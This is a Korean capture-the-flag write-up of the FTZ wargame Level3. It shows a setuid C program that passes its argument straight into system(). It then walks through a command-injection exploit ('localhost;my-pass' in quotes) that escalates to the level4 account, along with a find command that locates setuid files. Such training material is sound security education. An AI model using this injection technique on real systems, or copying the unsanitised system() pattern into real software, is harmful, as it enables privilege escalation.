FTZ Level3
Jun 29, 2015 · Wargame
Level3의 힌트를 보자.
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
autodig를 사용하라고 한다. strcpy
와 strcat
을 이용하여 cmd라는 배열에 최종적으로
"dig @'인자로 받은 문자열' version.bind chaos txt"
라는 문자열을 만들게 된다. 이 문제에서 dig는 별로 중요하지 않지만 dig는 인자로 받은 주소(네트워크 주소)에 대한 정보를 알려주는 명령어이다.
여기서 중요한 것은 힌트를 보게 되면 동시에 여러 명령어를 사용하려면 인데, 리눅스에서 동시에 여러 명령어를 사용하려면 ;
를 기준으로 사용하면 된다. 우리가 코딩을 할 때 ;을 기준으로 문장을 끝내듯이, 리눅스 명령을 사용할 때에도 ;을 기준점으로 사용하면 된다.
pwd; cd /; pwd;
을 예시로 사용해 보겠다.
[level3@ftz level3]$ pwd; cd /; pwd
/home/level3
/
첫 pwd에 의해서 현재 디렉토리의 위치를 출력해 주고, 가운데 cd /
에 의해 /디렉토리로 이동됬다. 그 후 마지막 pwd
에 의해 /의 위치임을 출력하게 되었다. 이렇게 한번의 명령을 보낼 때 ;
을 기준으로 여러 명령을 보낼수 있다.
이점을 이용하여 이번 문제를 해결해 보겠다.
우선 파일의 위치를 검색한다.
[level3@ftz level3]$ find / -user level4 -perm +6000 2>/dev/null
/bin/autodig
파일을 실행 할 때 my-pass명령어를 실행 시키도록 하겠다. ;
을 사용하면 되므로, 인자를 localhost;my-pass
로 주겠다.
[level3@ftz level3]$ /bin/autodig localhost;my-pass
; <<>> DiG 9.2.1 <<>> @localhost version.bind chaos txt
;; global options: printcmd
;; connection timed out; no servers could be reached
Level3 Password is "can you fly?".
Level4의 password가 아닌 Level3의 password를 보여주고 있다. 명령이 제대로 들어가지 않은 것이다. 이 부분에서 hint의 2번째를 생각해야 한다.
문자열의 형태로 보낸다는 것은 우리가 적은 인자는 문자열의 형태가 아닌 ;를 기준으로 끊어 보내게 된다. 그러므로 /bin/autodig localhost라는 문장과 my-pass라는 문장을 끊어서 해석하게 된다.
그렇게 되면 /bin/autodig localhost가 끝나게 되면 my-pass를 실행시키게 되는데, setuid가 걸려있는 프로그램에서 실행시키는 것이 아닌 현재 터미널에서 실행시키게 되어 권한은 level3의 권한을 유지하고 있다.
문장을 한번에 보내기 위해서는 ""
를 사용하여 보내고자 하는 부분을 묶어 보내야 한다.
[level3@ftz level3]$ /bin/autodig "localhost;my-pass"
; <<>> DiG 9.2.1 <<>> @localhost
;; global options: printcmd
;; connection timed out; no servers could be reached
Level4 Password is " ".
이렇게 ""를 사용하게 되면 원하는 문자열로 보낼 수 있다.